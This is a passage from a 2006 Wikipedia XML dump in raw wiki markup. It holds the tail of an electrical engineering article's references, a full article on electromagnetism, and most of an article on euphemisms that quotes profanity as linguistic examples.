 | article = &quot;Ohm, Georg Simon&quot;, &quot;Faraday, Michael&quot; and &quot;Maxwell, James Clerk&quot;
 }}
# {{note|cornell}} {{cite web
 | title = Welcome to ECE!
 | work = Cornell University - School of Electrical and Computer Engineering 
 | url = http://www.ieee.org/organizations/eab/faqs1.htm
 | accessdate = December 29
 | accessyear = 2005
 }}
# {{note|ryder}} {{cite book
 | author = Ryder, John and Fink, Donald;
 | title = Engineers and Electrons
 | publisher = IEEE Press
 | year = 1984
 | id = ISBN 087942172X
 }}
# {{note|tesla-edison}} {{cite web
 | title = History
 | work = National Fire Protection Association 
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 | accessdate = January 19
 | accessyear = 2006
 }} ''(published 1996 in the NFPA Journal)''
# {{note|radio}} {{cite web
 | title = History of Amateur Radio
 | work = What is Amateur Radio?
 | url = http://www.amateurradio.uni-halle.de/hamradio.en.html
 | accessdate = January 18
 | accessyear = 2006
 }}
# {{note|television}} {{cite web
 | title = History of TV
 | url = http://history.acusd.edu/gen/recording/television1.html
 | accessdate = January 18
 | accessyear = 2006
 }}
# {{note|magnetron1}} {{cite web
 | title = Albert W. Hull (1880 - 1966)
 | work = IEEE History Center
 | url = http://www.ieee.org/organizations/history_center/legacies/hull.html
 | accessdate = January 22
 | accessyear = 2006
 }}
# {{note|magnetron2}} {{cite web
 | title = Who Invented Microwaves?
 | url = http://www.gallawa.com/microtech/history.html
 | accessdate = January 22
 | accessyear = 2006
 }}
# {{note|radar}} {{cite web
 | title = Early Radar History
 | work = Peneley Radar Archives
 | url = http://www.penleyradararchives.org.uk/history/introduction.htm
 | accessdate = January 22
 | accessyear = 2006
 }}
# {{note|z3}} {{cite web
 | title = The Z3
 | url = http://irb.cs.tu-berlin.de/~zuse/Konrad_Zuse/en/Rechner_Z3.html
 | accessdate = January 18
 | accessyear = 2006
 }}
# {{note|ENIAC}} {{cite web
 | title = The ENIAC Museum Online
 | url = http://www.seas.upenn.edu/~museum/guys.html
 | accessdate = January 18
 | accessyear = 2006
 }}
# {{note|transistor}} {{cite web
 | title = Electronics Timeline
 | work = Greatest Engineering Achievements of the Twentieth Century
 | url = http://www.greatachievements.org/?id=3956
 | accessdate = January 18
 | accessyear = 2006
 }}
# {{note|hoff}} {{cite web
 | title = Computing History (1971 - 1975)
 | url = http://mbinfo.mbdesign.net/1971-75.htm
 | accessdate = January 18
 | accessyear = 2006
 }}
# {{note|education}} Various including graduate degree requirements at MIT [http://www.eecs.mit.edu/grad/degrees.html], study guide at UWA [http://www.ecm.uwa.edu.au/study_guides/be/ee], the curriculum at Queen's [http://www.queensu.ca/calendars/appsci/ElectricalEngineering_944.htm] and Aberdeen's unit tables [http://www.abdn.ac.uk/registry/calendar/requirements/07H50116.doc]
# {{note|nspe}} {{cite web
 | title = Why Should You Get Licensed?
 | work = National Society of Professional Engineers
 | url = http://www.nspe.org/lc1-why.asp
 | accessdate = July 11
 | accessyear = 2005
 }}
# {{note|qea}} {{cite web
 | title = Engineers Act
 | work = Quebec Statutes and Regulations (CanLII)
 | url = http://www.canlii.org/qc/laws/sta/i-9/20050616/whole.html
 | accessdate = July 24
 | accessyear = 2005
 }}
# {{note|ethics}} {{cite web
 | title = Codes of Ethics and Conduct
 | work = Online Ethics Center
 | url = http://onlineethics.org/codes/
 | accessdate = July 24
 | accessyear = 2005
 }}
# {{note|shuman}} {{Citenewsauthor
 | surname = Shuman
 | given = Ellis
 | title = Joy turns to tragedy in collapse of Versailles wedding hall
 | date = May 27, 2001
 | org = Israel Insider
 | url = http://www.israelinsider.com/channels/politics/articles/pol_0022.htm
 }}
# {{note|IEEE}} {{cite web
 | title = About the IEEE
 | work = IEEE
 | url = http://www.ieee.org/about/
 | accessdate = July 11
 | accessyear = 2005
 }}
# {{note|IEE1}} {{cite web
 | title = About the IEE
 | work = The IEE
 | url = http://www.iee.org/TheIEE/about.cfm
 | accessdate = July 11
 | accessyear = 2005
 }}
# {{note|IEE2}} {{cite web
 | title = Journal and Magazines
 | work = The IEE
 | url = http://www.iee.org/Publish/Journals/
 | accessdate = July 11
 | accessyear = 2005
 }}
# {{note|DoL2}} {{cite web
 | title = Electrical and Electronics Engineers, except Computer
 | work = Occupational Outlook Handbook
 | url = http://www.bls.gov/oco/ocos031.htm
 | accessdate = July 16
 | accessyear = 2005
 }} (see [[work of the United States Government|here]] regarding copyright)
# {{note|NSF-foreign}} {{cite web
 | publisher = National Science Foundation
 | date = 2004
 | url = http://www.nsf.gov/statistics/seind04/append/c2/at02-33.pdf
 | title = Science and Engineering Indicators 2004, Appendix 2-33
 | format = PDF
 }}
# {{note|DoL1}} {{cite web
 | title = Electrical and Electronics Engineers, except Computer
 | work = Occupational Outlook Handbook
 | url = http://www.bls.gov/oco/ocos031.htm
 | accessdate = July 16
 | accessyear = 2005
 }}
# {{note|trevelyan}} Trevelyan, James; (2005). ''What Do Engineers Really Do?''. University of Western Australia. (seminar with [http://www.mech.uwa.edu.au/jpt/Engineering%20Roles%20050503.pdf slides])
# {{note|mems}} {{cite web
 | title = MEMS the world!
 | work = IntelliSense Software Corporation
 | url = http://www.intellisensesoftware.com/Technology.html
 | accessdate = July 17
 | accessyear = 2005
 }}
# {{note|DoL3}} {{cite web
 | title = Electrical and Electronics Engineers, except Computer
 | work = Occupational Outlook Handbook
 | url = http://www.bls.gov/oco/ocos031.htm
 | accessdate = August 27
 | accessyear = 2005
 }} and {{cite web
 | title = Computer Hardware Engineers
 | work = Occupational Outlook Handbook
 | url = http://www.bls.gov/oco/ocos266.htm
 | accessdate = August 27
 | accessyear = 2005
 }}
# {{note|AJS}} {{cite web
 | title = Electrical and Electronics Engineers
 | work = Australian Careers
 | url = http://jobsearch.gov.au/joboutlook/default.aspx?PageId=AscoDesc&amp;AscoCode=2125
 | accessdate = August 27
 | accessyear = 2005
 }}
# {{note|JobFutures.ca}} {{cite web
 | title = Electrical and Electronics Engineers (NOC 2133)
 | work = Job Futures (National Edition)
 | url = http://www.jobfutures.ca/noc/2133p1.shtml
 | accessdate = August 27
 | accessyear = 2005
 }}
&lt;/div&gt;

== External links ==
{{Wikibooks}}
*[http://www.ieee.org/portal/site/mainsite/menuitem.818c0c39e85ef176fb2275875bac26c8/index.jsp?&amp;pName=corp_level1&amp;path=about/whatis&amp;file=index.xml&amp;xsl=generic.xsl History of the IEEE Electrical Engineering Professional Society at its website]
*[http://www.allaboutcircuits.com All About Circuits] Learn the nuts and bolts about building electrical circuits, and to build appliances based on electrical circuits
*[http://www.physicsarchives.com/electrical_engineering.htm electrical engineering courseware]
*[http://www.ieee-virtual-museum.org/ IEEE Virtual Museum] A virtual museum that illustrates many of the basic electrical engineering and electricity concepts through examples, figures, and interviews.
*[http://www.careercornerstone.org/eleceng/eleceng.htm Sloan Career Center: Electrical Engineering]  This is an excellent resource for anyone that is interested in electrical engineering as a career.  Learn what electrical engineers do on a daily basis, where they work, how much they earn, and much more.

{{-}}
{{Technology}}

[[Category:Electrical engineering|*]]
[[Category:Electronic engineering|*]]
[[Category:Electronics]]

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    </revision>
  </page>
  <page>
    <title>Electromagnetism</title>
    <id>9532</id>
    <revision>
      <id>41422080</id>
      <timestamp>2006-02-27T05:21:41Z</timestamp>
      <contributor>
        <username>Wolfkeeper</username>
        <id>41690</id>
      </contributor>
      <comment>Revert to revision 41054922 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Electromagnetism''' is the [[physics]] of the [[electromagnetic field]]: a [[field (physics)|field]], encompassing all of [[space]], which exerts a [[force]] on those [[particle]]s that possess the property of [[electric charge]], and is in turn affected by the presence and motion of such particles. The term '''electrodynamics''' is sometimes used to refer to the combination of electromagnetism with [[mechanics]], and deals with the effects of the electromagnetic field on the dynamic behavior of electrically charged particles. Electromagnetism encompasses various real-world '''electromagnetic phenomena'''. 

== Electric and magnetic fields ==
It is often convenient to understand the electromagnetic field in terms of two separate fields: the [[electric field]] and the [[magnetic field]]. A non-zero electric field is produced by the ''PRESENCE'' of [[electric charge|electrically charged]] particles, and gives rise to the electric [[force]]; this is the force that causes [[static electricity]] and drives the flow of electric charge ([[current (electricity)|electric current]]) in [[conductor (material)|electrical conductors]]. The magnetic field, on the other hand, can be produced by the ''MOTION'' of electric charges, or electric current, and gives rise to the magnetic force associated with [[magnet]]s.

The term &quot;electromagnetism&quot; comes from the fact that the electric and magnetic fields generally cannot be described independently of one another. A changing magnetic field produces an electric field (this is the phenomenon of [[electromagnetic induction]], which underlies the operation of [[electrical generator]]s, [[induction motor]]s, and [[transformer]]s). Similarly, a changing electric field generates a magnetic field.

Because of this interdependence of the electric and magnetic fields, it makes sense to consider them as a single, theoretically coherent entity &amp;mdash; the electromagnetic field. This unification, which was completed by [[James Clerk Maxwell]], is one of the triumphs of [[19th century]] physics. It had far-reaching consequences, one of which was the elucidation of the nature of [[light]]: as it turns out, what we think of as &quot;light&quot; is actually a propagating [[oscillation|oscillatory]] disturbance in the electromagnetic field, i.e., an electromagnetic [[wave]]. Different [[frequency|frequencies]] of oscillation give rise to the different forms of [[electromagnetic radiation]], from [[radio wave]]s at the lowest frequencies, to visible light at intermediate frequencies, to [[gamma ray]]s at the highest frequencies.

The theoretical implications of electromagnetism led to the development of [[special relativity]] by [[Albert Einstein]] in [[1905]].

== The electromagnetic force ==
The force that the electromagnetic field exerts on electrically charged particles, called the '''electromagnetic force''', is one of the four [[fundamental force]]s. The other fundamental forces are the [[strong interaction|strong nuclear force]] (which holds [[atomic nucleus|atomic nuclei]] together), the [[weak interaction|weak nuclear force]] (which causes certain forms of [[radioactive decay]]), and the [[gravity|gravitational force]]. All other forces are ultimately derived from these fundamental forces.

As it turns out, the electromagnetic force is the one responsible for practically all the phenomena one encounters in daily life, with the exception of gravity. Roughly speaking, all the forces involved in interactions between [[atom]]s can be traced to the electromagnetic force acting on the electrically charged [[proton]]s and [[electron]]s inside the atoms. This includes the forces we experience in &quot;pushing&quot; or &quot;pulling&quot; ordinary material objects, which come from the [[intermolecular force]]s between the individual [[molecule]]s in our bodies and those in the objects. It also includes all forms of [[chemistry|chemical phenomena]], which arise from interactions between [[electron orbital]]s.

== Origins of electromagnetic theory ==
{{electromagnetism}}
The scientist [[William Gilbert]] proposed, in his ''[[De Magnete]]'' ([[1600]]), that electricity and magnetism, while both capable of causing attraction and repulsion of objects, were distinct effects.  Mariners had noticed that lightning strikes had the ability to disturb a compass needle, but the link between lightning and electricity was not confirmed until [[Benjamin Franklin|Franklin's]] proposed experiments (performed initially by others) in [[1752]].  One of the first to discover and publish a link between man-made electric current and magnetism was [[Gian Domenico Romagnosi|Romagnosi]], who in [[1802]] noticed that connecting a wire across a [[Voltaic pile]] deflected a nearby [[compass]] needle. However, the effect did not become widely known until [[1820]], when [[Hans Christian Ørsted|Ørsted]] performed a similar experiment. Ørsted's work influenced [[André-Marie Ampère|Ampère]] to produce a theory of electromagnetism that set the subject on a mathematical foundation.

An accurate theory of electromagnetism, known as [[classical electromagnetism]], was developed by various [[physicist]]s over the course of the [[19th century]], culminating in the work of [[James Clerk Maxwell]], who unified the preceding developments into a single theory and discovered the electromagnetic nature of light. In classical electromagnetism, the electromagnetic field obeys a set of equations known as [[Maxwell's equations]], and the electromagnetic force is given by the [[Lorentz force|Lorentz force law]].

One of the peculiarities of classical electromagnetism is that it is difficult to reconcile with [[classical mechanics]], but it is compatible with [[special relativity]]. According to Maxwell's equations, the [[speed of light]] is a universal constant, dependent only on the [[Permittivity|electrical permittivity]] and [[magnetic permeability]] of the [[vacuum]]. This violates [[Galilean invariance]], a long-standing cornerstone of classical mechanics. One way to reconcile the two theories is to assume the existence of a [[luminiferous aether]] through which the light propagates. However, subsequent experiments efforts failed to detect the presence of the aether. In [[1905]], [[Albert Einstein]] solved the problem with the introduction of [[special relativity]], which replaces classical kinematics with a new theory of kinematics that is compatible with classical electromagnetism.

In addition, Relativity theory shows that in moving frames of reference a magnetic field transforms to a field with a nonzero electric component and vice versa; thus firmly showing that they are two sides of the same coin, and thus the term '''Electromagnetism'''.

==Failures of classical electromagnetism==
In another paper published in that same year, Einstein undermined the very foundations of classical electromagnetism. His theory of the [[photoelectric effect]] (for which he won the Nobel prize for physics) posited that light could exist in discrete particle-like quantities, which later came to be known as [[photon]]s. Einstein's theory of the photoelectric effect extended the insights that appeared in the solution of the [[ultraviolet catastrophe]] presented by [[Max Planck]] in [[1900]]. In his work, Planck showed that hot objects emit [[electromagnetic radiation]] in discrete packets, which leads to a finite total [[energy]] emitted as [[black body radiation]]. Both of these results were in direct contradiction with the classical view of light as a continuous wave. Planck's and Einstein's theories were progenitors of [[quantum mechanics]], which, when formulated in [[1925]], necessitated the invention of a quantum theory of electromagnetism. This theory, completed in the [[1940s]], is known as [[quantum electrodynamics]] (or &quot;QED&quot;), and is one of the most accurate theories known to physics.

==SI electricity units==
{{SI_electromagnetism_units}}

==References==
* {{cite book
 | last = Tipler | first = Paul
 | title = Physics for Scientists and Engineers: Vol. 2: Light, Electricity and Magnetism
 | edition = 4th ed.
 | publisher = W. H. Freeman
 | year = 1998
 | id = ISBN 1572594926
 }}
* {{cite book
 | last = Griffiths | first = David J.
 | title = Introduction to Electrodynamics
 | edition = 3rd ed.
 | publisher = Prentice Hall
 | year = 1998
 | id = ISBN 013805326X
 }}
* {{cite book
 | last = Jackson | first = John D.
 | title = Classical Electrodynamics
 | edition = 3rd ed.
 | publisher = Wiley
 | year = 1998
 | id = ISBN 047130932X
 }}
* {{cite book
 | last = Rothwell | first = Edward J.
 | coauthors = Cloud, Michael J. | title = Electromagnetics
 | publisher = CRC Press
 | year = 2001
 | id = ISBN 084931397X
 }}

== External links ==
* [http://www.rmcybernetics.com/science/physics/electromagnetism_intro_electric_force.htm Introduction to Electromagnetism] From the basics to advanced level science
*[http://ocw.mit.edu/OcwWeb/Physics/8-02Electricity-and-MagnetismSpring2002/VideoLectures/index.htm MIT Video Lectures - Electricity and Magnetism] from Spring 2002. Taught by Professor Walter Lewin.
* [http://www.lightandmatter.com/area1book4.html Electricity and Magnetism] - an online textbook (uses algebra, with optional calculus-based sections)
* [http://www.plasma.uu.se/CED/Book/ Electromagnetic Field Theory] - an online textbook (uses calculus)
* [http://farside.ph.utexas.edu/teaching/em/em.html Classical Electromagnetism: An intermediate level course] - an online intermediate level texbook downloadable as PDF file
* [http://poststuffx.entensity.net/012306/media.php?media=metal.wmv Electromagnetism in action - an art video of some magnetic fluid]

{{Physics-footer}}

[[Category:Electromagnetism| ]]


[[af:Elektromagnetisme]]
[[ar:كهرومغناطيسية]]
[[ca:Electromagnetisme]]
[[cs:Elektřina a magnetismus]]
[[da:Elektromagnetisme]]
[[de:Elektrodynamik]]
[[el:Ηλεκτρομαγνητισμός]]
[[eo:Elektromagnetismo]]
[[es:Electromagnetismo]]
[[fi:Sähkömagnetismi]]
[[fr:Électromagnétisme]]
[[gl:Electromagnetismo]]
[[he:אלקטרומגנטיות]]
[[hu:Elektromágneses kölcsönhatás]]
[[ia:Electromagnetismo]]
[[id:Elektromagnetisme]]
[[is:Rafsegulfræði]]
[[it:Elettromagnetismo]]
[[ja:電磁気学]]
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[[lb:Elektromagnetismus]]
[[nl:Elektromagnetisme]]
[[nn:Elektromagnetisme]]
[[pl:Elektrodynamika klasyczna]]
[[pt:Electromagnetismo]]
[[ro:Electricitatea şi magnetismul]]
[[ru:Электродинамика]]
[[sl:Elektrika in magnetizem]]
[[sr:Електромагнетизам]]
[[sv:Elektromagnetism]]
[[ta:மின்காந்தவியல்]]
[[th:ทฤษฎีแม่เหล็กไฟฟ้า]]
[[tr:Elektromanyetik Kuvvet]]
[[uk:Електродинаміка класична]]
[[zh:电磁学]]</text>
    </revision>
  </page>
  <page>
    <title>Euphemism</title>
    <id>9534</id>
    <revision>
      <id>42053357</id>
      <timestamp>2006-03-03T13:59:21Z</timestamp>
      <contributor>
        <username>Ncsaint</username>
        <id>353068</id>
      </contributor>
      <minor />
      <comment>/* The &quot;euphemism treadmill&quot; */  punctuation</comment>
      <text xml:space="preserve">A '''euphemism''' is an expression intended by the speaker to be less offensive, disturbing, or troubling to the listener than the word or phrase it replaces, or in the case of [[#Doublespeak|doublespeak]] to make it less troublesome for the speaker.  

When a phrase is used as a euphemism, it often becomes a metaphor whose literal meaning is dropped. Euphemisms are often used to hide unpleasant or disturbing ideas, even when the literal term for them is not necessarily offensive. This type of euphemism is used in [[public relations]] and [[politics]], where it is sometimes disparagingly called doublespeak. There are also superstitious euphemisms, based (consciously or subconsciously) on the idea that words have the power to bring bad fortune (for example, not speaking the word &quot;cancer&quot;; see [[#Etymology|Etymology]] and [[#Common examples|Common examples]] below) and religious euphemisms, based on the idea that some words are sacred, or that some words are spiritually imperiling (''taboo''; see [[#Etymology|Etymology]] and [[#Religious euphemisms|Religious euphemisms]] below).

==Etymology==
{{wiktionarypar|euphemism}}
The word '''euphemism''' comes from the [[Greek language|Greek]] word ''euphemos'', meaning &quot;auspicious/good/fortunate speech&quot; which in turn is derived from the Greek root-words ''eu'' (&amp;#949;&amp;#965;), &quot;good/well&quot; + ''pheme'' (&amp;#966;&amp;#942;&amp;#956;&amp;#951;) &quot;speech/speaking&quot;. The ''eupheme'' was originally a word or phrase used in place of a religious word or phrase that should not be spoken aloud (see [[taboo]]). The primary example of taboo words requiring the use of a euphemism are the unspeakable names for a deity, such as [[Persephone]], [[Hecate]], [[Nemesis (mythology)|Nemesis]] or [[Yahweh]]. By speaking only words favorable to the gods or spirits, the speaker attempted to procure good fortune by remaining in good favor with them. 

[[Historical linguistics]] has revealed traces of '''taboo deformations''' in many languages. Several are known to have occurred in [[Indo-European]], including the original Indo-European words for ''[[bear]]'' (''*rtkos''), ''[[wolf]]'' (''*wlk&lt;sup&gt;w&lt;/sup&gt;os''), and ''[[deer]]'' (originally, ''hart''). In different Indo-European languages, each of these words has a difficult [[etymology]] because of taboo deformations &amp;mdash; a euphemism was substituted for the original, which no longer occurs in the language. An example is the Slavic root for ''bear''&amp;mdash;''*medu-ed-'', which means &quot;honey eater&quot;.

In some [[Austronesian languages|languages of the Pacific]], using the name of a deceased chief is taboo. Amongst Australian Aboriginal people, it was forbidden to ever use the name or image of the deceased, so that today the Australian Broadcasting Commission publishes an apology to indigenous people for using names or images of people who have recently died.  Since people are often named after everyday things, this leads to the swift development of euphemisms. These languages have a very high rate of vocabulary change.  (Dyen, Isidore, A. T. James &amp; J. W. L. Cole. 1967. Language divergence and estimated word retention rate. Language 43/1: 150-171.)

==The &quot;euphemism treadmill&quot;==
Euphemisms often evolve over time into [[taboo word]]s themselves through a process described by [[W.V.O. Quine]], and more recently dubbed 'the ''euphemism treadmill''' by [[Steven Pinker]]. (''cf.'' [[Gresham's Law]] in [[economics]]). 

Words originally intended as euphemisms may lose their euphemistic value, acquiring the negative connotations of their referents. In some cases, they may be used mockingly and become [[dysphemism|dysphemistic]]. 

For example the term &quot;[[concentration camp]]&quot; to describe camps used to house civilian prisoners was used by the British during the [[Second Boer War]], primarily because it sounded bland and inoffensive. However, after the [[Third Reich]] used the expression to describe their death camps, the term gained enormous negative connotation. Since then new terms have been invented as euphemisms for them, such as [[internment camps]], resettlement camps, etc.

Also, in some versions of English, ''toilet room'', itself a euphemism, was replaced with ''bathroom'' and ''water closet'', which were replaced (respectively) with ''rest room'' and ''W.C.''

Connotations easily change over time.  ''Idiot'' was once a neutral term, and ''moron'' a similar one. &lt;!--could use indications of their original meanings here: they meant having the mental capacity of a child, and the difference is that they refer to different-age children's capacity.--&gt; Negative senses of a word tend to crowd out neutral ones, so the word ''retarded'' was pressed into service to replace them. Now that too is considered rude, used commonly as an insult of a person, thing, or idea. As a result, new terms like ''mentally challenged'' or ''special'' have replaced ''retarded''. In a few decades, calling someone ''special'' may well be a grave insult, and indeed among many young school students, it is already a common term of abuse, if not yet a particularly grave one. A similar progression occurred with 
:''crippled &amp;rarr; handicapped &amp;rarr; disabled &amp;rarr; differently-abled 
although in that case the meaning has also broadened; a dyslexic or colorblind person would not be termed ''crippled''. In the early 1960s, [[Bill Veeck]], who was missing part of a leg, argued against the then-favored euphemism &quot;handicapped&quot;, saying he preferred &quot;crippled&quot; because it was merely descriptive and did not carry connotations of limiting one's capability the way &quot;handicapped&quot; (and, in fact, all of its subsequent euphemisms) seem to do. In some cases, differently-abled would be the only accurate description of a person in any case: individuals with [[Asperger Syndrome]], an [[Autistic spectrum]] disorder, generally have a much lower [[emotional intelligence|EQ]] than non-autistics; in contrast their [[IQ]] tends to be above average. Likewise congenital amputee [[Kyle Maynard]] is one of the top wrestlers in his age/weight class in the US, despite having vestigial arms and legs, turning his much lower centre of gravity and superior strength into significant advantages. In March 2005 Kyle did a modified benchpress of 360Lbs - almost 26st or 163.44Kg - and claimed the title of &quot;world's strongest teenager&quot;.

It can apply to naming of racial or ethnic groups as well, when proposed euphemisms become successively &quot;corrupted&quot;. For example: ''negro'' &amp;rarr; ''colored'' &amp;rarr; ''black'' &amp;rarr; ''African-American'' &lt;!--&quot;Nigger&quot; has never been a euphemism. It has been a racist insult since it was first formulated.--&gt;

A complementary &quot;[[Dysphemism#The &quot;dysphemism treadmill&quot;|dysphemism treadmill]]&quot; exists, but is more rarely observed. One modern example is the word &quot;[[sucks]].&quot; &quot;That sucks&quot; began as American slang for &quot;that is very unpleasant&quot;, and is shorthand for &quot;that sucks dick.&quot; It developed over the late-[[20th century]] from being an extremely vulgar phrase to near-acceptability. A similar phenomenon happened with &quot;jerk&quot;, which began as &quot;jerk-off&quot; (itself a reference to masturbation), in reference to someone who was boorish or stupid, and was a forbidden term in public media, but is now acceptable (for example, the [[Steve Martin]] film ''[[The Jerk]]'').

==Classification of euphemisms==

Many euphemisms fall into one or more of these categories:
* Terms of foreign and/or technical origin (''derriere'', ''copulation'', ''perspire'', ''urinate'', ''security breach'', ''mierda de toro'')
* Abbreviations (''SOB'' for &quot;son of a bitch&quot;, ''BS'' for &quot;bullshit&quot;, ''TS'' for &quot;tough shit&quot;)
* Abstractions (''it'', ''the situation'', ''go'', ''left the company'', ''do it'')
* Indirections (''behind'', ''unmentionables'', ''privates'', ''live together'', ''go to the bathroom'', ''sleep together'')
* Mispronunciation (''goldarnit'', ''freakin'', ''shoot'' - ''See'' [[minced oath]])
* Plays on abbreviations (''barbecue sauce'' for &quot;bull shit&quot;, ''sugar honey ice tea'' for &quot;shit&quot;, ''Maryland farmer'' for &quot;motherfucker&quot;, ''see you next Tuesday'' for &quot;cunt&quot;)
* Phonetic alphabet (''Foxtrot'' for &quot;fuck&quot;, ''Whiskey Tango Foxtrot'' for &quot;What the fuck?&quot;, ''Bravo Sierra'' for &quot;bullshit&quot;)

There is some disagreement over whether certain terms are or are not euphemisms. For example, sometimes the phrase ''visually impaired'' is labeled as a [[politically correct]] euphemism for ''[[blindness|blind]]''. However, visual impairment can be a broader term, including, for example, people who have partial sight in one eye, a group that would be excluded by the word ''blind''.

There are three [[antonym]]s of euphemism: ''[[dysphemism]]'', ''[[cacophemism]]'', and ''[[power word]]''.  The first can be either offensive or merely humorously deprecating with the second one generally used more often in the sense of something deliberately offensive. The last is used mainly in arguments to make a point seem more correct.

==The evolution of euphemisms== 

Euphemisms may be formed in a number of ways. ''[[Periphrasis]]'' or ''[[circumlocution]]'' is one of the most common -- to &quot;speak around&quot; a given word, implying it without saying it. Over time, circumlocutions become recognized as established euphemisms for particular words or ideas.

To alter the pronunciation or spelling of a [[taboo]] word (such as a [[swear word]]) to form a euphemism is known as ''[[taboo deformation]]''. There are an astonishing number of taboo deformations in English, of which many refer to the infamous [[four-letter word]]s. In [[American English]], words which are unacceptable on television, such as ''[[fuck]]'', may be represented by deformations such as ''freak'' &amp;mdash; even in children's cartoons. Some examples of [[Cockney rhyming slang]] may serve the same purpose &amp;mdash; to call a person a ''berk'' sounds less offensive than to call him a ''[[cunt]]'', though ''berk'' is short for ''Berkshire Hunt'' which rhymes with ''cunt''.

[[Bureaucracy|Bureaucracies]] such as the [[military]] and large [[corporation]]s frequently spawn euphemisms of a more deliberate (and to some, more sinister) nature. Organizations coin ''[[doublespeak]]'' expressions to describe objectionable actions in terms that seem neutral or inoffensive.  For example, a term used for radiation leaked from an improperly operated [[nuclear power plant]] is ''sunshine units''. Similarly, employees of the fast-food chain [[McDonald's]] refer to putting any food into a [[microwave]] as &quot;putting it in the [[queue]]&quot;.

Militaries at [[war]] frequently do kill people, sometimes deliberately and sometimes by mistake; in doublespeak, the first may be called ''neutralizing the target'' and the second ''[[collateral damage]]''.  A common term when a [[soldier]] accidentally is killed (''buys the farm'') by the side they are fighting for is ''[[friendly fire]]''.  (&quot;Buy the farm&quot; has its own interesting  [http://www.snopes.com/language/phrases/farm.htm history].)

''[[execution (legal)|Execution]]'' is an established euphemism referring to the act of putting a person to death, with or without judicial process.  It originally referred to the execution, i.e. the carrying out, of a [[death warrant]], which is an authorization to a sheriff, prison warden, or other official to [[capital punishment|put a named person to death]].  In legal usage, ''execution'' can still refer to the carrying out of other types of orders; for example, in U.S. legal usage, a [[writ of execution]] is a direction to enforce a [[civil law (common law)|civil]] [[judgment|money judgment]] by seizing property. Likewise, [[lethal injection]] itself is an euphemism for putting the convict to death by poisoning.

Likewise, industrial unpleasantness such as [[pollution]] may be toned down to ''outgassing'' or ''runoff'' &amp;mdash; descriptions of physical processes rather than their damaging consequences.  Some of this may simply be the application of precise technical terminology in the place of popular usage, but beyond precision, the advantage of technical terminology may be its lack of emotional undertones, the disadvantage being the lack of [[real life|real-life]] [[context]].

==Euphemisms for the profane==

Profane words and expressions are generally taken from three areas: [[religion]], [[excretion]], and [[sex]]. While [[profanity|profanities]] themselves have been around for some time, their limited use in public and by the [[media]] has only in the past decade become socially acceptable, and there are still many expressions which cannot be used in polite conversation. The common marker of acceptability would appear to be use on [[prime-time]] [[television]] or in the presence of children.  Thus, ''damn'' (and most other religious profanity) is acceptable, and as a consequence, euphemisms for religious profanity have taken on a very stodgy feeling. Excretory profanity such as ''[[piss]]'' and ''[[shit]]'' may be acceptable in adult conversation, while euphemisms like  ''Number One'' and ''Number Two'' are preferred for use with children. Most sexual terms and expressions either remain unacceptable for general use or have undergone radical rehabilitation (''[[penis]]'' and ''[[vagina]]'', for instance).

===Religious euphemisms===
Euphemisms for [[God]] and [[Jesus]] are used by Christians to avoid taking the name of God in a vain oath, which would violate one of the [[Ten Commandments]]. Jews say ''Adonai'' (Lord) when reading scriptures that refer to God &quot;by name&quot;.

Euphemisms for [[hell]], [[Damnation#Religious|damnation]], and the [[devil]], on the other hand, are often used to avoid invoking the power of the adversary.

===Excretory euphemisms===

While ''[[urinate]]'' and ''[[defecate]]'' are not euphemisms, they are used almost exclusively in a clinical sense. The basic [[Anglo-Saxon]] words for these functions, ''piss'' and ''shit'', are considered vulgarities, despite the use of ''piss'' in the [[King James Version|King James Bible]] (in Isaiah 36:12 and elsewhere).

The word ''[[manure]]'', referring to animal feces used as [[fertilizer]] for plants, literally means &quot;worked with the hands&quot;, alluding to the mixing of manure with earth. Several [[zoo]]s market the byproduct of [[elephants]] and other large [[herbivores]] as ''Zoo Doo'', and there is a brand of [[chicken]] manure available in garden stores under the name ''Cock-a-Doodle Doo''. Similarly, the string of letters ''BS'' often replaces the word ''[[bullshit]]'' in polite society.

There are any number of lengthier [[periphrasis|periphrases]] for excretion used to excuse oneself from company, such as to ''powder one's nose'' or to ''[[see a man about a horse]]'' (or ''dog''). Slang expressions which are neither particularly euphemistic nor [[dysphemistic]], such as ''take a leak'', form a separate category.

===Sexual euphemisms===

The Latin term ''pudendum'' and the Greek term ''αιδοίον'' (''aidoion'') for the genitals literally mean &quot;shameful thing&quot;. ''Groin'' and ''crotch'' refer to a larger region of the body, but are euphemistic when used to refer to the genitals. Euphemisms are more common in reference to sexual practices or orientations, particularly non-heterosexual ones, as shown in this quote from the UK version of ''[[Queer as Folk (UK)|Queer as Folk]]'', which includes both euphemisms and dysphemisms regarding male homosexuality:

:Because I'm queer I'm gay I'm homosexual I'm a poof I'm a poofta I'm a ponse I'm a bum boy batty boy backside artist bugger I'm bent, I am that arse bandit, I lift those shirts, I'm a faggot-assed fudgepackin' shitstabbin' uphill gardener I dine at the downstairs restaurant I dance at the other end of the ballroom I'm Moses and the parting of the red cheeks I fuck and am fucked, I suck and am sucked, I rim them and wank them and every single man has had the fucking time of his life, and I'm not a pervert.

Virtually all other [[sexual slang|sexual terms]] are still considered profane and unacceptable for use even in a euphemistic sense.

==Euphemisms for death==

The English language contains numerous euphemisms related to dying, [[death]], [[burial]], and the people and places which deal with death. The practice of using euphemisms for death is likely to have originated with the [[Magical thinking|&quot;magical&quot;]] belief that to speak the word 'death' was to invite death (where to &quot;draw Death's attention&quot; is the ultimate bad-fortune -- a common theory holds that death is a taboo subject in most English-speaking cultures for precisely this reason).
It may be said that one is not dying, but ''fading quickly'' because ''the end is near''. People who have died are referred to as having ''passed away'' or ''passed'' or ''departed''. ''Deceased'' is a euphemism for 'dead', and sometimes the ''deceased'' is said to have ''gone to a better place'', but this is used primarily among the religious with a concept of [[heaven]].

There are many euphemisms for the dead body, some polite and some profane, as well as [[dysphemism]]s such as ''worm food'', or ''dead meat''. The corpse was once referred to as ''the shroud (or house or tenement) of clay'', and modern funerary workers use terms such as ''the loved one'' (title of a [[novel]] about [[Hollywood]] undertakers by [[Evelyn Waugh]]) or ''the dearly departed''. (They themselves have given up the euphemism ''funeral director'' for ''grief therapist'', and hold ''arrangement conferences'' with relatives.) Among themselves, mortuary technicians often refer to the corpse as the ''client''.

